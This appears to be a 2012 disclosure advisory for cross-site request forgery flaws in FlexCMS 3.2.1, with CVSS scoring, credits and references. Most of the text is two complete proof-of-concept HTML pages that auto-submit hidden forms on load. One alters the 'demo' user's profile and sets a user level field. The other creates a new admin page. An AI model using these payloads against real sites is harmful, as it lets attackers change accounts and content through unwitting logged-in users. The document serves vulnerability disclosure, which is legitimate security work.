FlexCMS 3.2.1 Cross Site Request Forgery

2012-03-18 / 2012-09-19
Credit: Ivano Binetti
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

+---------------------------------------------------------------------------------------------------------------------------------------------------+ # Exploit Title : FlexCMS 3.2.1 Multiple CSRF # Date : 16-03-2012 # Author : Ivano Binetti (http://www.ivanobinetti.com) # Software link : http://www.flexcms3.com/index.php/index.html # Vendor site : http://www.flexcms.com # Version : 3.2.1 (and lower) # Tested on : Debian Squeeze (6.0) # Original Advisory: http://ivanobinetti.blogspot.com/2012/03/flexcms-multiple-csrf-vulnerabilities.html +---------------------------------------------------------------------------------------------------------------------------------------------------+ Summary 1)Introduction 2)Vulnerabilities Description 3)Exploit 3.1 Exploit (Change Settings of "demo" user) 3.2 Exploit (Add Page) +---------------------------------------------------------------------------------------------------------------------------------------------------+ 1)Introduction FlexCMS "is a user-friendly website content management system. With FlexCMS you can easily build dynamic websites within a matter of minutes with just the click of your mouse! Maintain your web content, navigation and even limit what groups or specific users can access, from anywhere in the world with just a web browser! With an emphasis on security and functionality, FlexCMS is a professional and robust system suitable for any business or organization website. Built on the PHP programming language and the MySQL database, FlexCMS delivers superb performance on any size website.". 2)Vulnerability Description FlexCMS 3.2.1 suffers from multiple CSRF vulnerabilities which could allow an attacker to change any parameters when an authenticated user/admin browses a special crafted web page. In this Advisory I've only demonstrate how to change settings of user "demo" (is default user of demo page) and also I've created a new web page. 3)Exploit 3.1 Exploit (Change settings of "demo" user) <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to add change any network parameter</H2> <form method="POST" name="form0" action="http://www.flexcms3.com:80/index.php/profile-edit-save"> <input type="hidden" name="UsernameToEdit" value="demo"/> <input type="hidden" name="Username" value="demo"/> <input type="hidden" name="DisplayName" value="Ivano Binetti"/> <input type="hidden" name="RealName" value="Ivano Binetti"/> <input type="hidden" name="Email" value="IvanoBinetti@flexcms.com"/> <input type="hidden" name="DisplayEmail" value="y"/> <input type="hidden" name="Location" value=""/> <input type="hidden" name="Password1" value=""/> <input type="hidden" name="Password1" value=""/> <input type="hidden" name="FirstName" value="Demo"/> <input type="hidden" name="LastName" value="Demo"/> <input type="hidden" name="OrganizationCompany" value=""/> <input type="hidden" name="Address1" value=""/> <input type="hidden" name="Address2" value=""/> <input type="hidden" name="City" value="AnyCity"/> <input type="hidden" name="StateProvince" value=""/> <input type="hidden" name="ZipPostal" value=""/> <input type="hidden" name="Country" value="US"/> <input type="hidden" name="Phone" value=""/> <input type="hidden" name="Website" value=""/> <input type="hidden" name="ReferredBy" value=""/> <input type="hidden" name="ForumAvatar" value=""/> <input type="hidden" name="FileData" value=""/> <input type="hidden" name="ForumSignature" value=""/> <input type="hidden" name="NewUserLevel" value="20"/> </form> </body> </html> 3.2 Exploit (Add Page) <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to add web page</H2> <form method="POST" name="form0" action="http://www.flexcms3.com:80/index.php/admin/pages-new-save"> <input type="hidden" name="AdminLabel" value="1"/> <input type="hidden" name="PageCategory" value="0"/> <input type="hidden" name="PageLink" value="testissimo"/> <input type="hidden" name="PageTitle" value="testissimo"/> <input type="hidden" name="TitleImage" value=""/> <input type="hidden" name="TitleAlignment" value="L"/> <input type="hidden" name="PageType" value="1"/> <input type="hidden" name="EnablePHP" value="0"/> <input type="hidden" name="PageContents" value="%3Cdiv%3Etestissimo%3C%2Fdiv%3E"/> <input type="hidden" name="PageContents2" value=""/> <input type="hidden" name="PageAlignment" value="L"/> <input type="hidden" name="BrowserTitle" value=""/> <input type="hidden" name="MetaKeywords" value=""/> <input type="hidden" name="MetaDescription" value=""/> <input type="hidden" name="PageEnabled" value="1"/> <input type="hidden" name="MinLevel" value="1"/> <input type="hidden" name="MinEditLevel" value="0"/> <input type="hidden" name="SDMonth" value="1"/> <input type="hidden" name="SDDay" value="1"/> <input type="hidden" name="SDYear" value="2012"/> <input type="hidden" name="SDHour" value="0"/> <input type="hidden" name="SDMinute" value="0"/> <input type="hidden" name="SDAmPm" value="am"/> <input type="hidden" name="EDMonth" value="1"/> <input type="hidden" name="EDDay" value="1"/> <input type="hidden" name="EDYear" value="2012"/> <input type="hidden" name="EDHour" value="0"/> <input type="hidden" name="EDMinute" value="0"/> <input type="hidden" name="EDAmPm" value="am"/> <input type="hidden" name="SubmitButton" value="Create+New+Page"/> </form> </body> </html> +--------------------------------------------------------------------------------------------------------------------------------------------------+

References:

http://www.flexcms3.com/index.php/index.html
http://www.flexcms.com
http://ivanobinetti.blogspot.com/2012/03/flexcms-multiple-csrf-vulnerabilities.html


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